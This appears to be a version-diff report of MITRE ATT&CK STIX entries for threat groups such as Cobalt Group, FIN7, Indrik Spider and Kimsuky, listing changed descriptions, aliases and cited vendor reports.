| external_references[6]['description'] | Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017. | CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021. |
| external_references[6]['url'] | https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/ | https://www.secureworks.com/research/threat-profiles/gold-niagara |
| external_references[7]['source_name'] | Crowdstrike State of Criminal May 2016 | Secureworks GOLD KINGSWOOD Threat Profile |
| external_references[7]['description'] | Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017. | Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021. |
| external_references[7]['url'] | https://www.crowdstrike.com/blog/state-criminal-address/ | https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Fox-It Anunak Feb 2015', 'description': 'Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.', 'url': 'https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Carbon Spider |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a f | t | 1 | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a f |
| > | inancially motivated threat group that has primarily targete | > | inancially motivated threat group that has primarily targete | ||
| > | d financial institutions. The group has conducted intrusions | > | d financial institutions since at least 2016. The group has | ||
| > | to steal money via targeting ATM systems, card processing, | > | conducted intrusions to steal money via targeting ATM system | ||
| > | payment systems and SWIFT systems. [Cobalt Group](https://at | > | s, card processing, payment systems and SWIFT systems. [Coba | ||
| > | tack.mitre.org/groups/G0080) has mainly targeted banks in Ea | > | lt Group](https://attack.mitre.org/groups/G0080) has mainly | ||
| > | stern Europe, Central Asia, and Southeast Asia. One of the a | > | targeted banks in Eastern Europe, Central Asia, and Southeas | ||
| > | lleged leaders was arrested in Spain in early 2018, but the | > | t Asia. One of the alleged leaders was arrested in Spain in | ||
| > | group still appears to be active. The group has been known t | > | early 2018, but the group still appears to be active. The gr | ||
| > | o target organizations in order to use their access to then | > | oup has been known to target organizations in order to use t | ||
| > | compromise additional victims. (Citation: Talos Cobalt Group | > | heir access to then compromise additional victims.(Citation: | ||
| > | July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Ci | > | Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt G | ||
| > | tation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Coba | > | roup Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citatio | ||
| > | lt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citati | > | n: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt Jun | ||
| > | on: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 201 | > | e 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ C | ||
| > | 8) Reporting indicates there may be links between [Cobalt Gr | > | obalt Jan 2018) Reporting indicates there may be links betwe | ||
| > | oup](https://attack.mitre.org/groups/G0080) and both the mal | > | en [Cobalt Group](https://attack.mitre.org/groups/G0080) and | ||
| > | ware [Carbanak](https://attack.mitre.org/software/S0030) and | > | both the malware [Carbanak](https://attack.mitre.org/softwa | ||
| > | the group [Carbanak](https://attack.mitre.org/groups/G0008) | > | re/S0030) and the group [Carbanak](https://attack.mitre.org/ | ||
| > | . (Citation: Europol Cobalt Mar 2018) | > | groups/G0008).(Citation: Europol Cobalt Mar 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 13:27:29.519000+00:00 | 2021-10-18 22:02:12.586000+00:00 |
| description | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018) | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018) |
| external_references[2]['source_name'] | Cobalt Gang | GOLD KINGSWOOD |
| external_references[2]['description'] | (Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018) | (Citation: Secureworks GOLD KINGSWOOD September 2018) |
| external_references[3]['source_name'] | Cobalt Spider | Cobalt Gang |
| external_references[3]['description'] | (Citation: Crowdstrike Global Threat Report Feb 2018) | (Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018) |
| external_references[4]['source_name'] | Talos Cobalt Group July 2018 | Cobalt Spider |
| external_references[4]['description'] | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. | (Citation: Crowdstrike Global Threat Report Feb 2018) |
| external_references[5]['source_name'] | PTSecurity Cobalt Group Aug 2017 | Talos Cobalt Group July 2018 |
| external_references[5]['description'] | Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018. | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. |
| external_references[5]['url'] | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| external_references[6]['source_name'] | PTSecurity Cobalt Dec 2016 | PTSecurity Cobalt Group Aug 2017 |
| external_references[6]['description'] | Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. | Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018. |
| external_references[6]['url'] | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf |
| external_references[7]['source_name'] | Group IB Cobalt Aug 2017 | PTSecurity Cobalt Dec 2016 |
| external_references[7]['description'] | Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. | Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. |
| external_references[7]['url'] | https://www.group-ib.com/blog/cobalt | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf |
| external_references[8]['source_name'] | Proofpoint Cobalt June 2017 | Group IB Cobalt Aug 2017 |
| external_references[8]['description'] | Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018. | Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. |
| external_references[8]['url'] | https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target | https://www.group-ib.com/blog/cobalt |
| external_references[9]['source_name'] | RiskIQ Cobalt Nov 2017 | Proofpoint Cobalt June 2017 |
| external_references[9]['description'] | Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018. | Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018. |
| external_references[9]['url'] | https://www.riskiq.com/blog/labs/cobalt-strike/ | https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target |
| external_references[10]['source_name'] | RiskIQ Cobalt Jan 2018 | RiskIQ Cobalt Nov 2017 |
| external_references[10]['description'] | Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018. | Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018. |
| external_references[10]['url'] | https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/ | https://www.riskiq.com/blog/labs/cobalt-strike/ |
| external_references[11]['source_name'] | Europol Cobalt Mar 2018 | RiskIQ Cobalt Jan 2018 |
| external_references[11]['description'] | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. | Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018. |
| external_references[11]['url'] | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain | https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/ |
| external_references[12]['source_name'] | Crowdstrike Global Threat Report Feb 2018 | Europol Cobalt Mar 2018 |
| external_references[12]['description'] | CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018. | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. |
| external_references[12]['url'] | https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain |
| external_references[13]['source_name'] | Morphisec Cobalt Gang Oct 2018 | Secureworks GOLD KINGSWOOD September 2018 |
| external_references[13]['description'] | Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018. | CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021. |
| external_references[13]['url'] | https://blog.morphisec.com/cobalt-gang-2.0 | https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | GOLD KINGSWOOD | |
| external_references | {'source_name': 'Crowdstrike Global Threat Report Feb 2018', 'description': 'CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.', 'url': 'https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report'} | |
| external_references | {'source_name': 'Morphisec Cobalt Gang Oct 2018', 'description': 'Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.', 'url': 'https://blog.morphisec.com/cobalt-gang-2.0'} |
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has primarily targeted the U. | > | ly-motivated threat group that has been active since 2013 pr | ||
| > | S. retail, restaurant, and hospitality sectors since mid-201 | > | imarily targeting the U.S. retail, restaurant, and hospitali | ||
| > | 5. They often use point-of-sale malware. A portion of [FIN7] | > | ty sectors, often using point-of-sale malware. A portion of | ||
| > | (https://attack.mitre.org/groups/G0046) was run out of a fro | > | [FIN7](https://attack.mitre.org/groups/G0046) was run out of | ||
| > | nt company called Combi Security. [FIN7](https://attack.mitr | > | a front company called Combi Security. Since 2020 [FIN7](ht | ||
| > | e.org/groups/G0046) is sometimes referred to as [Carbanak](h | > | tps://attack.mitre.org/groups/G0046) shifted operations to a | ||
| > | ttps://attack.mitre.org/groups/G0008) Group, but these appea | > | big game hunting (BGH) approach including use of [REvil](ht | ||
| > | r to be two groups using the same [Carbanak](https://attack. | > | tps://attack.mitre.org/software/S0496) ransomware and their | ||
| > | mitre.org/software/S0030) malware and are therefore tracked | > | own Ransomware as a Service (RaaS), Darkside. [FIN7](https:/ | ||
| > | separately. (Citation: FireEye FIN7 March 2017) (Citation: F | > | /attack.mitre.org/groups/G0046) may be linked to the [Carban | ||
| > | ireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 201 | > | ak](https://attack.mitre.org/groups/G0008) Group, but there | ||
| > | 7) (Citation: FireEye FIN7 Aug 2018) | > | appears to be several groups using [Carbanak](https://attack | ||
| > | .mitre.org/software/S0030) malware and are therefore tracked | ||||
| > | separately.(Citation: FireEye FIN7 March 2017)(Citation: Fi | ||||
| > | reEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017) | ||||
| > | (Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carb | ||||
| > | on Spider August 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:47:28.215000+00:00 | 2021-10-19 00:02:08.486000+00:00 |
| description | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018) | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021) |
| external_references[2]['source_name'] | FireEye FIN7 March 2017 | GOLD NIAGARA |
| external_references[2]['description'] | Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017. | (Citation: Secureworks GOLD NIAGARA Threat Profile) |
| external_references[3]['source_name'] | FireEye FIN7 April 2017 | ITG14 |
| external_references[3]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | ITG14 shares campaign overlap with FIN7.(Citation: IBM Ransomware Trends September 2020) |
| external_references[4]['source_name'] | FireEye CARBANAK June 2017 | Carbon Spider |
| external_references[4]['description'] | Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. | (Citation: CrowdStrike Carbon Spider August 2021) |
| external_references[5]['source_name'] | FireEye FIN7 Aug 2018 | FireEye FIN7 March 2017 |
| external_references[5]['description'] | Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018. | Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html | https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html |
| external_references[6]['source_name'] | Morphisec FIN7 June 2017 | FireEye FIN7 April 2017 |
| external_references[6]['description'] | Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017. | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. |
| external_references[6]['url'] | http://blog.morphisec.com/fin7-attacks-restaurant-industry | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
| external_references[7]['source_name'] | FireEye FIN7 Shim Databases | FireEye CARBANAK June 2017 |
| external_references[7]['description'] | Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017. | Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html | https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | GOLD NIAGARA | |
| aliases | ITG14 | |
| aliases | Carbon Spider | |
| external_references | {'source_name': 'FireEye FIN7 Aug 2018', 'description': 'Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html'} | |
| external_references | {'source_name': 'CrowdStrike Carbon Spider August 2021', 'description': 'Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.', 'url': 'https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/'} | |
| external_references | {'source_name': 'Morphisec FIN7 June 2017', 'description': 'Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.', 'url': 'http://blog.morphisec.com/fin7-attacks-restaurant-industry'} | |
| external_references | {'source_name': 'FireEye FIN7 Shim Databases', 'description': 'Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html'} | |
| external_references | {'source_name': 'Secureworks GOLD NIAGARA Threat Profile', 'description': 'CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/gold-niagara'} | |
| external_references | {'source_name': 'IBM Ransomware Trends September 2020', 'description': 'Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.', 'url': 'https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Indrik Spider](https://attack.mitre.org/groups/G0119) is a | t | 1 | [Indrik Spider](https://attack.mitre.org/groups/G0119) is a |
| > | financially motivated threat group that has leveraged the Dr | > | Russia-based cybercriminal group that as been active since a | ||
| > | idex banking trojan since at least June 2014 and delivered r | > | t least 2014. [Indrik Spider](https://attack.mitre.org/group | ||
| > | ansomware variants since 2017.(Citation: Crowdstrike Indrik | > | s/G0119) initially started with the [Dridex](https://attack. | ||
| > | November 2018) | > | mitre.org/software/S0384) banking Trojan, and then by 2017 t | ||
| > | hey began running ransomware operations using [BitPaymer](ht | ||||
| > | tps://attack.mitre.org/software/S0570), [WastedLocker](https | ||||
| > | ://attack.mitre.org/software/S0612), and Hades ransomware.(C | ||||
| > | itation: Crowdstrike Indrik November 2018)(Citation: Crowdst | ||||
| > | rike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 20 | ||||
| > | 19) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 02:00:43.762000+00:00 | 2021-10-15 16:14:32.314000+00:00 |
| description | [Indrik Spider](https://attack.mitre.org/groups/G0119) is a financially motivated threat group that has leveraged the Dridex banking trojan since at least June 2014 and delivered ransomware variants since 2017.(Citation: Crowdstrike Indrik November 2018) | [Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019) |
| external_references[1]['source_name'] | Crowdstrike Indrik November 2018 | Evil Corp |
| external_references[1]['description'] | Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021. | (Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Evil Corp | |
| external_references | {'source_name': 'Crowdstrike Indrik November 2018', 'description': 'Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.', 'url': 'https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/'} | |
| external_references | {'source_name': 'Crowdstrike EvilCorp March 2021', 'description': 'Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.', 'url': 'https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/'} | |
| external_references | {'source_name': 'Treasury EvilCorp Dec 2019', 'description': 'U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.', 'url': 'https://home.treasury.gov/news/press-releases/sm845'} |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| > | Korean-based threat group that has been active since at leas | > | Korea-based cyber espionage group that has been active since | ||
| > | t September 2013. The group initially focused on targeting K | > | at least 2012. The group initially focused on targeting Sou | ||
| > | orean think tanks and DPRK/nuclear-related targets, expandin | > | th Korean government entities, think tanks, and individuals | ||
| > | g recently to the United States, Russia, and Europe. The gro | > | identified as experts in various fields, and expanded its op | ||
| > | up was attributed as the actor behind the Korea Hydro & Nucl | > | erations to include the United States, Russia, Europe, and t | ||
| > | ear Power Co. compromise.(Citation: EST Kimsuky April 2019)( | > | he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has | ||
| > | Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsu | > | focused its intelligence collection activities on foreign po | ||
| > | ky November 2020) | > | licy and national security issues related to the Korean peni | ||
| > | nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky | ||||
| > | April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe | ||||
| > | reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky | ||||
| > | June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](htt | ||||
| > | ps://attack.mitre.org/groups/G0094) was assessed to be respo | ||||
| > | nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi | ||||
| > | se; other notable campaigns include Operation STOLEN PENCIL | ||||
| > | (2018), Operation Kabar Cobra (2019), and Operation Smoke Sc | ||||
| > | reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita | ||||
| > | tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K | ||||
| > | imsuky Kabar Cobra Feb 2019) North Korean group definitions | ||||
| > | are known to have significant overlap, and some security re | ||||
| > | searchers report all North Korean state-sponsored cyber acti | ||||
| > | vity under the name [Lazarus Group](https://attack.mitre.org | ||||
| > | /groups/G0032) instead of tracking clusters or subgroups. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.alyac.co.kr/2234 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-23 02:34:44.299000+00:00 | 2021-10-14 22:35:20.109000+00:00 |
| description | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020) | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[1]['description'] | (Citation: Securelist Kimsuky Sept 2013) | (Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[2]['source_name'] | Thallium | STOLEN PENCIL |
| external_references[2]['description'] | (Citation: Cybereason Kimsuky November 2020) | (Citation: Netscout Stolen Pencil Dec 2018) |
| external_references[3]['source_name'] | Black Banshee | Thallium |
| external_references[3]['description'] | (Citation: Cybereason Kimsuky November 2020) | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[4]['source_name'] | Velvet Chollima | Black Banshee |
| external_references[4]['description'] | (Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020) | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[5]['source_name'] | EST Kimsuky April 2019 | Velvet Chollima |
| external_references[5]['description'] | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. | (Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[6]['source_name'] | BRI Kimsuky April 2019 | EST Kimsuky April 2019 |
| external_references[6]['description'] | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. |
